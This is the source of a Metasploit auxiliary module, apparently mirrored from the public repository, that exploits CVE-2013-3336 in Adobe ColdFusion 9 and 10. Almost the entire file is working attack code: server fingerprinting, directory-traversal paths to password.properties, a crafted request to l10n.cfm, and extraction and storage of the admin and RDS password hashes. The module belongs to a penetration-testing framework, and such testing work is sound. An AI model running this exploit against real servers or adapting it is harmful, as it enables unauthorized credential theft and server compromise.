Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/coldfusion_pwd_props.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(update_info(info,11'Name' => "ColdFusion 'password.properties' Hash Extraction",12'Description' => %q{13This module uses a directory traversal vulnerability to extract information14such as password, rdspassword, and "encrypted" properties. This module has been15tested successfully on ColdFusion 9 and ColdFusion 10 (auto-detect).16},17'References' =>18[19[ 'CVE', '2013-3336' ],20[ 'OSVDB', '93114' ],21[ 'EDB', '25305' ]22],23'Author' =>24[25'HTP',26'sinn3r',27'nebulus'28],29'License' => MSF_LICENSE,30'DisclosureDate' => '2013-05-07' #The day we saw the subzero poc31))3233register_options(34[35Opt::RPORT(80),36OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])37])38end3940def fingerprint(response)4142if(response.headers.has_key?('Server') )43if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)44os = "Windows (#{response.headers['Server']})"45elsif(response.headers['Server'] =~ /Apache\//)46os = "Unix (#{response.headers['Server']})"47else48os = response.headers['Server']49end50end5152return nil if response.body.length < 1005354title = "Not Found"55response.body.gsub!(/[\r\n]/, '')56if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)57title = $158title.gsub!(/\s/, '')59end60return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)6162out = nil6364if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)65v = $166out = (v =~ /^6/) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"67elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )68out = "Adobe ColdFusion MX7 (Not Vulnerable)"69elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)70out = "Adobe ColdFusion 8 (Not Vulnerable)"71elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and72response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)73out = "Adobe ColdFusion 10"74elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or75response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)76out = "Adobe ColdFusion 9"77elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)78out = $1.split(/,/)[0]79else80out = 'Unknown ColdFusion'81end8283if(title.downcase == 'coldfusionadministrator')84out << " (you have administrator access)"85end8687out << " (#{os})"88file = ''89trav = ''90if(os =~ /Windows/ )91trav = '..\..\..\..\..\..\..\..\..\..'92file = (out =~ /ColdFusion 9/) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'93else94trav = '../../../../../../../../../..'95file = (out =~ /ColdFusion 9/) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'96end9798if(response.body =~ /Adobe/ and response.body =~ /ColdFusion/ and file == '')99print_error("#{peer} Fingerprint failed...aborting")100print_status("response: #{response.body}")101return nil,nil102end103104return out,"#{trav}#{file}"105end106107def check108if check_cf109return Msf::Exploit::CheckCode::Vulnerable110end111112Msf::Exploit::CheckCode::Safe113end114115def check_cf116vuln = false117url = '/CFIDE/adminapi/customtags/l10n.cfm'118res = send_request_cgi({119'uri' => url,120'method' => 'GET',121'Connection' => "keep-alive",122'Accept-Encoding' => "zip,deflate",123})124125if(res != nil)126# can't stack b/c res.code won't exist if res is nil127vuln = true if(res.code == 500 and res.body =~ /attributes\.id was not provided/)128end129130if(vuln)131url = '/CFIDE/administrator/mail/download.cfm'132res = send_request_cgi({133'uri' => url,134'method' => 'GET',135'Connection' => "keep-alive",136'Accept-Encoding' => "zip,deflate",137})138if(res != nil)139vuln = false if (res.code != 200)140end141end142143return vuln144end145146147def run148filename = ""149150url = '/CFIDE/administrator/index.cfm'151# print_status("Getting index...")152res = send_request_cgi({153'uri' => url,154'method' => 'GET',155'Connection' => "keep-alive",156'Accept-Encoding' => "zip,deflate",157})158# print_status("Got back: #{res.inspect}")159return if not res160return if not res.body or not res.code161return if not res.code.to_i == 200162163out, filename = fingerprint(res)164print_status("#{peer} #{out}") if out165166if(out =~ /Not Vulnerable/)167print_status("#{peer} isn't vulnerable to this attack")168return169end170171if(not check_cf)172print_status("#{peer} can't be exploited (either files missing or permissions block access)")173return174end175176res = send_request_cgi({177'method' => 'GET',178'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),179'encode_params' => false,180'encode' => false,181'vars_get' => {182'attributes.id' => 'it',183'attributes.file' => '../../administrator/mail/download.cfm',184'filename' => filename,185'attributes.locale' => 'it',186'attributes.var' => 'it',187'attributes.jscript' => 'false',188'attributes.type' => 'text/html',189'attributes.charset' => 'UTF-8',190'thisTag.executionmode' => 'end',191'thisTag.generatedContent' => 'htp'192}193})194195if res.nil?196print_error("Unable to receive a response")197return198end199200rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''201password = res.body.scan(/^password=(.+)/).flatten[0] || ''202encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''203204if rdspass.empty? and password.empty?205# No pass collected, no point to store anything206print_error("No passwords found")207return208end209210print_good("rdspassword = #{rdspass}")211print_good("password = #{password}")212print_good("encrypted = #{encrypted}")213214p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)215print_good("password.properties stored in '#{p}'")216end217end218219220